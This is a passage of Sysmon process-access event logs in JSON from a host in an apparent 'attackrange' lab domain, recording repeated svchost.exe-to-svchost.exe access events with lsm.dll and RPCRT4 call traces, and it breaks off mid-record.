C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.406","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":911,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.406\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.406","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":912,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.406\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.406","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":913,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":914,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":915,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":916,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":917,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:40.438","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":918,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:40.438\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 